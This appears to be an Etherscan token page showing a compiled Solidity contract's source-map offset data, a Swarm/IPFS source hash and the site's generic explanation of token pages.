:-1;;;;;19962:27:0;;;19970:19;;;;;19962:27;;:53;;-1:-1:-1;;;;;;19992:23:0;;16989:42;19992:23;19962:53;20053:19;;19951:64;;-1:-1:-1;20030:11:0;;-1:-1:-1;;;;;20042:30:0;;;20053:19;;;;;20042:30;;:59;;-1:-1:-1;;;;;;20075:26:0;;16989:42;20075:26;20042:59;20030:71;;20118:52;20133:6;20140:9;20150:6;20157:5;20163:6;20118:14;:52::i;:::-;19510:676;;19367:819;18702:1491;;;18622:1571;;;:::o;14553:158::-;14626:4;14650:53;14658:3;-1:-1:-1;;;;;14678:23:0;;14650:7;:53::i;23560:1157::-;23440:27;:34;;-1:-1:-1;;23440:34:0;23470:4;23440:34;;;;;;23678:4:::1;23440:27:::0;23660:24;;;::::1;::::0;;;;;;;;23725:13:::1;::::0;23660:24;;23440:27;23711::::1;::::0;-1:-1:-1;;;23725:13:0;::::1;23440:34:::0;23725:13;;::::1;::::0;23711;;::::1;;:27;:::i;:::-;23695:43;;;;23749:19;23769:9;;23749:29;;23806:8;23792:11;:22;23789:127;;;23834:12;::::0;::::1;;23831:74;;;-1:-1:-1::0;23881:8:0;23831:74:::1;23948:11;23932:15;:27;:40;;;-1:-1:-1::0;23961:11:0::1;::::0;::::1;::::0;23932:40:::1;23929:77;;;23988:7;;;;;23929:77;24055:13;::::0;24016:25:::1;::::0;24042:36:::1;::::0;::::1;::::0;24043:25:::1;::::0;24055:13;;::::1;;;24043:11:::0;:25:::1;:::i;:::-;24042:36;;;;:::i;:::-;24129:13;::::0;24016:62;;-1:-1:-1;24089:25:0::1;::::0;24116:36:::1;::::0;::::1;::::0;24117:25:::1;::::0;-1:-1:-1;;;24129:13:0;::::1;;;24117:11:::0;:25:::1;:::i;:::-;24116:36;;;;:::i;:::-;24089:63:::0;-1:-1:-1;24165:16:0::1;24182:19;24200:1;24182:17:::0;:19:::1;:::i;:::-;24165:36:::0;-1:-1:-1;24212:19:0::1;24232:26;24165:36:::0;24232:17;:26:::1;:::i;:::-;24212:46:::0;-1:-1:-1;24274:17:0::1;24292:29;24304:17:::0;24212:46;24292:29:::1;:::i;:::-;24274:47:::0;-1:-1:-1;24363:21:0::1;24395:27;24274:47:::0;24395:16:::1;:27::i;:::-;24433:14;24449:41;24473:17:::0;24449:21:::1;:41;:::i;:::-;24433:58:::0;-1:-1:-1;24502:14:0::1;24540:9:::0;24520:18:::1;24527:11:::0;24433:58;24520:18:::1;:::i;:::-;24519:30;;;;:::i;:::-;24502:47;;24560:31;24574:8;24584:6;24560:13;:31::i;:::-;24602:20;24624:41;24648:17:::0;24624:21:::1;:41;:::i;:::-;24602:64;;24677:32;24696:12;24677:18;:32::i;:::-;23625:1092;;;;;;;;;;;;23485:1;-1:-1:-1::0;23497:27:0;:35;;-1:-1:-1;;23497:35:0;;;23560:1157::o;12071:305::-;12134:4;13160:19;;;:12;;;:19;;;;;;12151:218;;-1:-1:-1;12194:23:0;;;;;;;;:11;:23;;;;;;;;;;;;;12268:18;;12246:19;;;:12;;;:19;;;;;;:40;;;;12301:11;;12151:218;-1:-1:-1;12352:5:0;12345:12;;14725:167;-1:-1:-1;;;;;14859:23:0;;14805:4;13160:19;;;:12;;;:19;;;;;;:24;;14829:55;13063:129;21932:351;-1:-1:-1;;;;;22051:17:0;;22027:21;22051:17;;;:9;:17;;;;;;22087:23;;;;22079:60;;;;-1:-1:-1;;;22079:60:0;;15285:2:1;22079:60:0;;;15267:21:1;15324:2;15304:18;;;15297:30;-1:-1:-1;;;15343:18:1;;;15336:54;15407:18;;22079:60:0;15083:348:1;22079:60:0;22153:27;22166:6;22173;22153:12;:27::i;:::-;22194:28;22204:9;22215:6;22194:9;:28::i;:::-;22256:9;-1:-1:-1;;;;;22240:33:0;22249:6;-1:-1:-1;;;;;22240:33:0;-1:-1:-1;;;;;;;;;;;22266:6:0;22240:33;;;;689:25:1;;677:2;662:18;;543:177;22240:33:0;;;;;;;;22016:267;21932:351;;;:::o;20211:1709::-;-1:-1:-1;;;;;20354:20:0;;;20327:24;20354:20;;;:9;:20;;;;;;;20409:17;;;;;;;;20445:23;;;;20437:60;;;;-1:-1:-1;;;20437:60:0;;15285:2:1;20437:60:0;;;15267:21:1;15324:2;15304:18;;;15297:30;-1:-1:-1;;;15343:18:1;;;15336:54;15407:18;;20437:60:0;15083:348:1;20437:60:0;20530:1;20520:9;;:11;;;;:::i;:::-;20508:9;:23;20547:6;:21;;;;-1:-1:-1;20557:11:0;;;;20547:21;20544:373;;;-1:-1:-1;;;;;20621:17:0;;;;;;;:9;:17;;;;;;;20598:19;;;;;;;;20588:30;;;;;:50;20585:219;;;-1:-1:-1;;;;;20693:17:0;;;;;;;:9;:17;;;;;;;20669:19;;;;;;;;20659:30;;;;:51;;:30;;20693:17;20659:51;;20693:17;;20659:51;:::i;:::-;;;;-1:-1:-1;;20743:19:0;;-1:-1:-1;;;;;20770:17:0;;;;;;;:9;:17;;;;;;;;;;20734:54;;689:25:1;;;17069:42:0;;20743:19;;;;;;;-1:-1:-1;;;;;;;;;;;20734:54:0;662:18:1;20734:54:0;;;;;;;20585:219;-1:-1:-1;;;;;20818:17:0;;20838:1;20818:17;;;:9;:17;;;;;;:21;;;20859:25;17069:42;;20818:17;-1:-1:-1;;;;;;;;;;;20859:25:0;;;689::1;;677:2;662:18;;543:177;20859:25:0;;;;;;;;20899:7;;;;20544:373;20929:9;20952:6;20949:464;;;21004:9;;20996:6;:17;;20988:44;;;;-1:-1:-1;;;20988:44:0;;15638:2:1;20988:44:0;;;15620:21:1;15677:2;15657:18;;;15650:30;-1:-1:-1;;;15696:18:1;;;15689:45;15751:18;;20988:44:0;15436:339:1;20988:44:0;-1:-1:-1;21051:8:0;;;;;;;20949:464;;;21082:5;21079:334;;;21143:12;;21118:23;21135:6;21118:16;:23;:::i;:::-;:37;;21110:65;;;;-1:-1:-1;;;21110:65:0;;;;;;;:::i;:::-;21206:8;;21198:6;:16;;21190:45;;;;-1:-1:-1;;;21190:45:0;;;;;;;:::i;:::-;-1:-1:-1;21254:7:0;;;;21079:334;;;21336:12;;21311:23;21328:6;21311:16;:23;:::i;:::-;:37;;21303:65;;;;-1:-1:-1;;;21303:65:0;;;;;;;:::i;:::-;-1:-1:-1;21387:12:0;;;;;;;21079:334;21444:19;;-1:-1:-1;;;;;21436:27:0;;;21444:19;;;;;21436:27;;;;21435:50;;-1:-1:-1;21468:16:0;;;;;;;21467:17;21435:50;:82;;;;-1:-1:-1;21489:27:0;;;;21488:28;21435:82;21432:126;;;21532:26;21551:6;21532:18;:26::i;:::-;21635:13;;21572:21;;21594:55;;21608:6;;21616:3;;21621:27;;21635:13;;;;;;;-1:-1:-1;;;21621:13:0;;;:27;:::i;:::-;21594:13;:55::i;:::-;21572:77;-1:-1:-1;21663:19:0;21683:22;21572:77;21683:6;:22;:::i;:::-;21663:42;;21721:27;21734:6;21741;21721:12;:27::i;:::-;21782:4;21764:24;;;;:9;:24;;;;;:41;;21792:13;;21764:24;:41;;21792:13;;21764:41;:::i;:::-;;;;-1:-1:-1;21821:33:0;;-1:-1:-1;21831:9:0;21842:11;21821:9;:33::i;:::-;21888:9;-1:-1:-1;;;;;21872:38:0;21881:6;-1:-1:-1;;;;;21872:38:0;-1:-1:-1;;;;;;;;;;;21898:11:0;21872:38;;;;689:25:1;;677:2;662:18;;543:177;21872:38:0;;;;;;;;20316:1604;;;;;20211:1709;;;;;;:::o;12390:659::-;12456:4;12497:19;;;:12;;;:19;;;;;;12533:15;;12529:513;;12582:21;12606:14;12619:1;12606:10;:14;:::i;:::-;12655:18;;12582:38;;-1:-1:-1;12635:17:0;;12655:22;;12676:1;;12655:22;:::i;:::-;12635:42;;12703:17;12723:3;:11;;12735:9;12723:22;;;;;;;;:::i;:::-;;;;;;;;;12703:42;;12798:9;12769:3;:11;;12781:13;12769:26;;;;;;;;:::i;:::-;;;;;;;;;;;;:38;;;;12829:23;;;:12;;;:23;;;;;;:36;;;12890:17;;12829:3;;12890:17;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;12938:3;:12;;:19;12951:5;12938:19;;;;;;;;;;;12931:26;;;12981:4;12974:11;;;;;;;;12529:513;13025:5;13018:12;;;;;24729:455;24822:14;;24790:56;;24807:4;;-1:-1:-1;;;;;24822:14:0;24839:6;24790:8;:56::i;:::-;24881:16;;;24895:1;24881:16;;;;;;;;24857:21;;24881:16;;;;;;;;;;-1:-1:-1;24881:16:0;24857:40;;24926:4;24908;24913:1;24908:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24908:23:0;;;:7;;;;;;;;;;:23;;;;24952:14;;:21;;;-1:-1:-1;;;24952:21:0;;;;:14;;;;;:19;;:21;;;;;24908:7;;24952:21;;;;;:14;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;24942:4;24947:1;24942:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;24942:31:0;;;:7;;;;;;;;;:31;24986:14;;:190;;-1:-1:-1;;;24986:190:0;;:14;;;:65;;:190;;25066:6;;24986:14;;25103:4;;25130;;25150:15;;24986:190;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;25196:397;25290:9;25278:10;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;;25342:14:0;;25310:61;;25327:4;;-1:-1:-1;;;;;25342:14:0;25359:11;25310:8;:61::i;:::-;25382:14;;:203;;-1:-1:-1;;;25382:203:0;;25453:4;25382:203;;;18103:34:1;;;18153:18;;;18146:34;;;25382:14:0;18196:18:1;;;18189:34;;;18239:18;;;18232:34;18282:19;;;18275:44;25559:15:0;18335:19:1;;;18328:35;-1:-1:-1;;;;;25382:14:0;;;;:30;;25420:9;;18037:19:1;;25382:203:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;23125:178::-;23229:14;;23191:22;;23245:3;;23217:26;;23229:14;;23217:9;:26;:::i;:::-;23216:32;;;;:::i;:::-;23191:57;;23279:14;23261:16;;:32;;;;;;;:::i;:::-;;;;-1:-1:-1;;;;23125:178:0:o;22638:158::-;-1:-1:-1;;;;;22730:15:0;;22712:17;22730:15;;;:9;:15;;;;;;:22;;22746:6;;22730:22;:::i;:::-;-1:-1:-1;;;;;22763:15:0;;;;;;;:9;:15;;;;;:25;;;;-1:-1:-1;;22638:158:0:o;22469:157::-;-1:-1:-1;;;;;22558:15:0;;22540:17;22558:15;;;:9;:15;;;;;;:22;;22574:6;;22558:22;:::i;22295:156::-;22385:7;22438:5;22424:10;22413:21;;22420:3;22413:10;;:6;:10;;;;:::i;:::-;:21;;;;:::i;:::-;22412:31;;;;:::i;:::-;22405:38;22295:156;-1:-1:-1;;;;22295:156:0:o;14:131:1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:388;218:6;226;279:2;267:9;258:7;254:23;250:32;247:52;;;295:1;292;285:12;247:52;334:9;321:23;353:31;378:5;353:31;:::i;:::-;403:5;-1:-1:-1;460:2:1;445:18;;432:32;473:33;432:32;473:33;:::i;:::-;525:7;515:17;;;150:388;;;;;:::o;725:597::-;837:4;866:2;895;884:9;877:21;927:6;921:13;970:6;965:2;954:9;950:18;943:34;995:1;1005:140;1019:6;1016:1;1013:13;1005:140;;;1114:14;;;1110:23;;1104:30;1080:17;;;1099:2;1076:26;1069:66;1034:10;;1005:140;;;1163:6;1160:1;1157:13;1154:91;;;1233:1;1228:2;1219:6;1208:9;1204:22;1200:31;1193:42;1154:91;-1:-1:-1;1306:2:1;1285:15;-1:-1:-1;;1281:29:1;1266:45;;;;1313:2;1262:54;;725:597;-1:-1:-1;;;725:597:1:o;1984:315::-;2052:6;2060;2113:2;2101:9;2092:7;2088:23;2084:32;2081:52;;;2129:1;2126;2119:12;2081:52;2168:9;2155:23;2187:31;2212:5;2187:31;:::i;:::-;2237:5;2289:2;2274:18;;;;2261:32;;-1:-1:-1;;;1984:315:1:o;2689:456::-;2766:6;2774;2782;2835:2;2823:9;2814:7;2810:23;2806:32;2803:52;;;2851:1;2848;2841:12;2803:52;2890:9;2877:23;2909:31;2934:5;2909:31;:::i;:::-;2959:5;-1:-1:-1;3016:2:1;3001:18;;2988:32;3029:33;2988:32;3029:33;:::i;:::-;2689:456;;3081:7;;-1:-1:-1;;;3135:2:1;3120:18;;;;3107:32;;2689:456::o;3358:118::-;3444:5;3437:13;3430:21;3423:5;3420:32;3410:60;;3466:1;3463;3456:12;3481:382;3546:6;3554;3607:2;3595:9;3586:7;3582:23;3578:32;3575:52;;;3623:1;3620;3613:12;3575:52;3662:9;3649:23;3681:31;3706:5;3681:31;:::i;:::-;3731:5;-1:-1:-1;3788:2:1;3773:18;;3760:32;3801:30;3760:32;3801:30;:::i;3868:247::-;3927:6;3980:2;3968:9;3959:7;3955:23;3951:32;3948:52;;;3996:1;3993;3986:12;3948:52;4035:9;4022:23;4054:31;4079:5;4054:31;:::i;4120:241::-;4176:6;4229:2;4217:9;4208:7;4204:23;4200:32;4197:52;;;4245:1;4242;4235:12;4197:52;4284:9;4271:23;4303:28;4325:5;4303:28;:::i;4366:156::-;4432:20;;4492:4;4481:16;;4471:27;;4461:55;;4512:1;4509;4502:12;4461:55;4366:156;;;:::o;4527:182::-;4584:6;4637:2;4625:9;4616:7;4612:23;4608:32;4605:52;;;4653:1;4650;4643:12;4605:52;4676:27;4693:9;4676:27;:::i;4714:248::-;4782:6;4790;4843:2;4831:9;4822:7;4818:23;4814:32;4811:52;;;4859:1;4856;4849:12;4811:52;-1:-1:-1;;4882:23:1;;;4952:2;4937:18;;;4924:32;;-1:-1:-1;4714:248:1:o;4967:180::-;5026:6;5079:2;5067:9;5058:7;5054:23;5050:32;5047:52;;;5095:1;5092;5085:12;5047:52;-1:-1:-1;5118:23:1;;4967:180;-1:-1:-1;4967:180:1:o;5637:606::-;5736:6;5744;5752;5760;5768;5776;5784;5837:3;5825:9;5816:7;5812:23;5808:33;5805:53;;;5854:1;5851;5844:12;5805:53;5877:27;5894:9;5877:27;:::i;:::-;5867:37;;5923:36;5955:2;5944:9;5940:18;5923:36;:::i;:::-;5913:46;;5978:36;6010:2;5999:9;5995:18;5978:36;:::i;:::-;5968:46;;6033:36;6065:2;6054:9;6050:18;6033:36;:::i;:::-;6023:46;;6088:37;6120:3;6109:9;6105:19;6088:37;:::i;:::-;6078:47;;6144:37;6176:3;6165:9;6161:19;6144:37;:::i;:::-;6134:47;;6200:37;6232:3;6221:9;6217:19;6200:37;:::i;:::-;6190:47;;5637:606;;;;;;;;;;:::o;6248:347::-;6450:2;6432:21;;;6489:2;6469:18;;;6462:30;6528:25;6523:2;6508:18;;6501:53;6586:2;6571:18;;6248:347::o;6600:127::-;6661:10;6656:3;6652:20;6649:1;6642:31;6692:4;6689:1;6682:15;6716:4;6713:1;6706:15;6732:422;6821:1;6864:5;6821:1;6878:270;6899:7;6889:8;6886:21;6878:270;;;6958:4;6954:1;6950:6;6946:17;6940:4;6937:27;6934:53;;;6967:18;;:::i;:::-;7017:7;7007:8;7003:22;7000:55;;;7037:16;;;;7000:55;7116:22;;;;7076:15;;;;6878:270;;;6882:3;6732:422;;;;;:::o;7159:806::-;7208:5;7238:8;7228:80;;-1:-1:-1;7279:1:1;7293:5;;7228:80;7327:4;7317:76;;-1:-1:-1;7364:1:1;7378:5;;7317:76;7409:4;7427:1;7422:59;;;;7495:1;7490:130;;;;7402:218;;7422:59;7452:1;7443:10;;7466:5;;;7490:130;7527:3;7517:8;7514:17;7511:43;;;7534:18;;:::i;:::-;-1:-1:-1;;7590:1:1;7576:16;;7605:5;;7402:218;;7704:2;7694:8;7691:16;7685:3;7679:4;7676:13;7672:36;7666:2;7656:8;7653:16;7648:2;7642:4;7639:12;7635:35;7632:77;7629:159;;;-1:-1:-1;7741:19:1;;;7773:5;;7629:159;7820:34;7845:8;7839:4;7820:34;:::i;:::-;7890:6;7886:1;7882:6;7878:19;7869:7;7866:32;7863:58;;;7901:18;;:::i;:::-;7939:20;;7159:806;-1:-1:-1;;;7159:806:1:o;7970:140::-;8028:5;8057:47;8098:4;8088:8;8084:19;8078:4;8057:47;:::i;8115:168::-;8155:7;8221:1;8217;8213:6;8209:14;8206:1;8203:21;8198:1;8191:9;8184:17;8180:45;8177:71;;;8228:18;;:::i;:::-;-1:-1:-1;8268:9:1;;8115:168::o;8637:125::-;8677:4;8705:1;8702;8699:8;8696:34;;;8710:18;;:::i;:::-;-1:-1:-1;8747:9:1;;8637:125::o;8957:128::-;8997:3;9028:1;9024:6;9021:1;9018:13;9015:39;;;9034:18;;:::i;:::-;-1:-1:-1;9070:9:1;;8957:128::o;9090:184::-;9160:6;9213:2;9201:9;9192:7;9188:23;9184:32;9181:52;;;9229:1;9226;9219:12;9181:52;-1:-1:-1;9252:16:1;;9090:184;-1:-1:-1;9090:184:1:o;9911:245::-;9978:6;10031:2;10019:9;10010:7;10006:23;10002:32;9999:52;;;10047:1;10044;10037:12;9999:52;10079:9;10073:16;10098:28;10120:5;10098:28;:::i;11076:217::-;11116:1;11142;11132:132;;11186:10;11181:3;11177:20;11174:1;11167:31;11221:4;11218:1;11211:15;11249:4;11246:1;11239:15;11132:132;-1:-1:-1;11278:9:1;;11076:217::o;11985:204::-;12023:3;12059:4;12056:1;12052:12;12091:4;12088:1;12084:12;12126:3;12120:4;12116:14;12111:3;12108:23;12105:49;;;12134:18;;:::i;:::-;12170:13;;11985:204;-1:-1:-1;;;11985:204:1:o;15780:340::-;15982:2;15964:21;;;16021:2;16001:18;;;15994:30;-1:-1:-1;;;16055:2:1;16040:18;;16033:46;16111:2;16096:18;;15780:340::o;16125:127::-;16186:10;16181:3;16177:20;16174:1;16167:31;16217:4;16214:1;16207:15;16241:4;16238:1;16231:15;16257:127;16318:10;16313:3;16309:20;16306:1;16299:31;16349:4;16346:1;16339:15;16373:4;16370:1;16363:15;16521:251;16591:6;16644:2;16632:9;16623:7;16619:23;16615:32;16612:52;;;16660:1;16657;16650:12;16612:52;16692:9;16686:16;16711:31;16736:5;16711:31;:::i;16777:980::-;17039:4;17087:3;17076:9;17072:19;17118:6;17107:9;17100:25;17144:2;17182:6;17177:2;17166:9;17162:18;17155:34;17225:3;17220:2;17209:9;17205:18;17198:31;17249:6;17284;17278:13;17315:6;17307;17300:22;17353:3;17342:9;17338:19;17331:26;;17392:2;17384:6;17380:15;17366:29;;17413:1;17423:195;17437:6;17434:1;17431:13;17423:195;;;17502:13;;-1:-1:-1;;;;;17498:39:1;17486:52;;17593:15;;;;17558:12;;;;17534:1;17452:9;17423:195;;;-1:-1:-1;;;;;;;17674:32:1;;;;17669:2;17654:18;;17647:60;-1:-1:-1;;;17738:3:1;17723:19;17716:35;17635:3;16777:980;-1:-1:-1;;;16777:980:1:o;18374:306::-;18462:6;18470;18478;18531:2;18519:9;18510:7;18506:23;18502:32;18499:52;;;18547:1;18544;18537:12;18499:52;18576:9;18570:16;18560:26;;18626:2;18615:9;18611:18;18605:25;18595:35;;18670:2;18659:9;18655:18;18649:25;18639:35;;18374:306;;;;;:::o

Swarm Source

ipfs://51ce36f31da058a9f7db2a72232deebdb08ed84d21e12f6a3ca9004a4e552b44
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.